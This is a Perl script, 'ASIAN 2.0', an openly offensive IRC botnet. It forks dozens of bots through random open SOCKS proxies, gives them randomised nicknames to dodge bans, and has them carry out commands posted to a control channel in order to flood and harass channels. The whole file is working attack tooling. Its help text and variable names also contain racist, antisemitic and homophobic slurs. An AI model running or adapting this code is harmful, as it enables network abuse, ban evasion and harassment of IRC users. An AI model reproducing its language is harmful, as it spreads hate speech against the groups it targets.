#!/usr/bin/perl # --> # WORK IN PROGRESS # <-- # ASIAN 2.0 by Jmax # # I have made many modifications: # - Use of command line arguments as opposed to editing the script itself. # - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required) # - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required) # - Improved fork routine/library # # The original header is as follows (NOTE: syntax here is _incorrect_): # ----------------------------------------------- # ASIAN by Rucas # Automated Synchronous IRC Assault Network # Based on AYSYN by mef # # Make sure to put a SOCKS5 proxy list in proxies.txt in the same # directory as this script. If you'd like to use tor, you can put # the correct info on one line in proxies.txt and this app will # still function properly (although generally tor sucks) # # All bots join $channel and are issued raw irc commands from there # using syntax "all PRIVMSG Rucas lol you fail it" for all bots or # "botname PRIVMSG Rucas lol failure" and such. # # Testing of an early version of this script is the reason that # Freenode now checks for open SOCKS proxies. # ----------------------------------------------- # TODO: # file flooding with adjustments for nick-length use warnings; use strict; use IO::Socket; use IO::Handle; # for forking use POSIX qw(:signal_h :sys_wait_h); my ($forkcount, $pid, $dead_nigger_storage, $maxfork) = (0, undef, 0, 50); $SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; }; $SIG{CHLD} = sub { $dead_nigger_storage++ while(($pid = waitpid(-1, WNOHANG)) > 0); }; # end use vars qw($VERSION); $VERSION = "2.0-beta3"; error("please run using the --help argument") unless $ARGV[0]; my ($server, $port, $channel, $nickbase); if ($ARGV[0] eq '--help') { print "ASIAN $VERSION by Jmax, Rucas, abez. Inspired by code by mef.\n". "\n". "\n". " Invocation:\n". " perl ".__FILE__." server[:port] \"#channel\" [nickbase]\n". "\n". " Where \"server\" is a hostname to an ircd, and \"#channel\" is the control channel\n". " you want the bots to join, and \"server\" is optionally affixed with a port to\n". " use (if not 6667) with a colon inbetween. Please note that some shells will interpret\n". " the # in \"#channel\" as a comment, and will not send it to the script. In this case,\n". " You may either use quotes, or escape the '#'. I prefer quotes. You may also, optionally,\n". " specify a nickbase. This will cause all nicks to begin with that string. You should\n". " probably not do this, as it makes your bots easier to ban.\n". "\n". "\n". " Usage:\n". " all [space-delimited arguments] :[arguments with spaces]\n". " [space-delimited arguments] :[arguments with spaces]\n". " ,,... [space-delimited arguments] :[arguments with spaces]\n". "\n". " Simply privmsg your command to the control channel, and the respective bots will follow.\n". "\n". " Examples:\n". " <~supers> all join #gnaa gnaa\n". " All bots will join #gnaa using the key 'gnaa'\n". " <~supers> all privmsg #gnaa :LOL HY LOL HY\n". " All bots will say \"LOL HY LOL HY\" in #gnaa\n". " <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n". " The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n". " <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n". " The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n". " will part #gnaa with reason 'lol jews'\n". "\n". "\n". " Enjoy. -- Jmax\n"; exit 0; } elsif ($ARGV[0] eq '--version') { print "ASIAN $VERSION by Jmax, Rucas, abez. Based on code by mef.\n"; exit 0; } else { error("please run using the --help argument") unless $ARGV[1]; if ($ARGV[0] =~ /(.+):(\d+)/) { $server = $1; $port = $2; } else { $server = $ARGV[0]; $port = 6667; } $channel = $ARGV[1]; if ($ARGV[2]) { $nickbase = $ARGV[2]; } } my @servers = resolve($server); notice("Resolved $server as ".join(", ", @servers)); my %proxies = load_socks(); my @proxylist = get_proxylist(%proxies); notice("Initiliazing (forking) bots"); for ($forkcount = 0; $forkcount < $maxfork; $forkcount++) { # $forkcount must _not_ be local to here sleep 1; # so we don't overload ourselves if (!defined(my $pid = fork())) { # fork error("couldn't fork: $!"); # die if fork fails } elsif ($pid == 0) { # fork successful, in child, do stuff while (%proxies) { my $proxy_ip = $proxylist[int rand @proxylist]; my $proxy_port = $proxies{$proxy_ip}; spawn_bot($proxy_ip, $proxy_port, $servers[int rand @servers], $port) or (delete $proxies{$proxy_ip} and @proxylist = get_proxylist(%proxies)); sleep 10; # to prevent throttling by IRCd } exit 0; # kills child } else { # this is the parent } } sleep while ($dead_nigger_storage < $maxfork); exit 666; sub load_socks { my (%proxies, @proxylist, $socksn); open SOCKSFILE, "<", "./socks.txt" or error("could not open socks proxies file socks.txt: $!"); while () { chomp; my ($ip, $port) = /([^:]+):([^:]+)/; $proxies{$ip} = $port; $socksn++; } close(SOCKSFILE) or error("could not close socks proxies file socks.txt: $!"); notice("acquired $socksn socks prox(y|ies)."); return (%proxies); } sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1; my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; my ($nick, $nicklen); if ($nickbase) { $nicklen = int(rand(4)) + 3; $nick = $nickbase . random_num($nicklen); } else { $nicklen = int(rand(9)) + 3; $nick = random_nick($nicklen); } my $identlen = int(rand(4)) + 3; my $ident = lc(random_nick($identlen)); my $realnamelen = int(rand(9)) + 7; my $realname = random_nick($realnamelen); my ($line, $sock, $altsock); eval { local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required alarm 5; $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port); alarm 0; }; if ($@) { error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors warning("TIMEOUT / CONNECTION REFUSED; SOCKS == SHIT; DELETING AND LOADING NEW;"); return 0; } $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port); return 0 unless $sock; print $sock "NICK $nick\r\n"; outgoing($nick, "NICK $nick"); print $sock "USER $ident * * :$realname\r\n"; outgoing($nick, "USER $ident * * :$realname"); while ($line = <$sock>) { chomp $line; next if $line =~ /372/; # ignore motd msgs incoming($nick, $line); last if $line =~ /376|422/; # end of motd or no motd return 0 if $line =~ /BANNED/i; return 0 if $line =~ /ERROR.*G.lined/i; return 0 if $line =~ /ERROR.*K.lined/i; return 1 if $line =~ /ERROR/i; return 1 if $line =~ /432/; return 1 if $line =~ /433/; if ($line =~ /PING (.*)$/) { print $sock "PONG $1\r\n"; } } print $sock "JOIN $channel\r\n"; outgoing($nick, "JOIN $channel"); while ($line = <$sock>) { chomp $line; if ($line =~ /PING (.*)$/) { print $sock "PONG $1\r\n"; } elsif ($line =~ /PRIVMSG $channel :all (.*)$/i) { my $cmd = $1; if ($cmd =~ /nick (\S*)/i) { $nick = $1; } incoming($nick, $line); print $sock "$cmd\r\n"; outgoing($nick, $cmd); } elsif ($line =~ /PRIVMSG $channel :(?:\S*|\s*)$nick(?:\S*|\s*) (.*)$/i) { my $cmd = $1; if ($cmd =~ /nick (\S*)/i) { $nick = $1; } incoming($nick, $line); print $sock "$cmd\r\n"; outgoing($nick, $cmd); } else { incoming($nick, $line); } } } sub connect_to_socks_proxy { # see http://socks.permeo.com/protocol/socks4.protocol my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; my $sock = IO::Socket::INET->new( PeerAddr => $socks_ip, PeerPort => $socks_port, Proto => 'tcp' ); return unless $sock; $sock->autoflush(1); print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x'); my $received = ''; while (read($sock, $received, 8) && (length($received) < 8)) {} my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received); return unless $cd; if ($cd != 90) { return; } return $sock; } sub random_nick { my $length = shift; my $possible = '0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ'; # NO PIPES. (lol, weird bug) my @possible = split(//, $possible); my $str = ''; while (length($str) < $length) { $str .= $possible[int rand @possible]; } return $str; } sub random_num { my $length = shift; my $possible = '0123456789'; # NO PIPES. (lol, weird bug) my @possible = split(//, $possible); my $str = ''; while (length($str) < $length) { $str .= $possible[int rand @possible]; } return $str; } sub resolve { my $host = shift; my (undef, undef, undef, undef, @servers) = gethostbyname($host); unless (@servers) { error("cannot resolve server $host: $?"); return 0; } my @servers_ip; foreach my $server (@servers) { my ($a, $b, $c, $d) = unpack('C4', $server); my $server_ip = "$a.$b.$c.$d"; push (@servers_ip, $server_ip); } return @servers_ip; } sub get_proxylist { my $proxies = @_; my @proxylist; foreach my $key (keys %proxies) { push(@proxylist, $key); } return @proxylist; } sub notice { my $notice = shift; print ">>>> ". $notice ."\n"; return; } sub incoming { my ($nick, $line, $server) = @_; printf("IRCd >>>> %-12s ] %s\n", $nick, $line); return; } sub outgoing { my ($nick, $line, $server) = @_; printf("IRCd <<<< %-12s ] %s\n", $nick, $line); return; } sub warning { my $warning = shift; print "!!!! ". $warning ."\n"; return; } sub error { my $error = shift; print "!!!! ". $error ."\n"; exit 0; }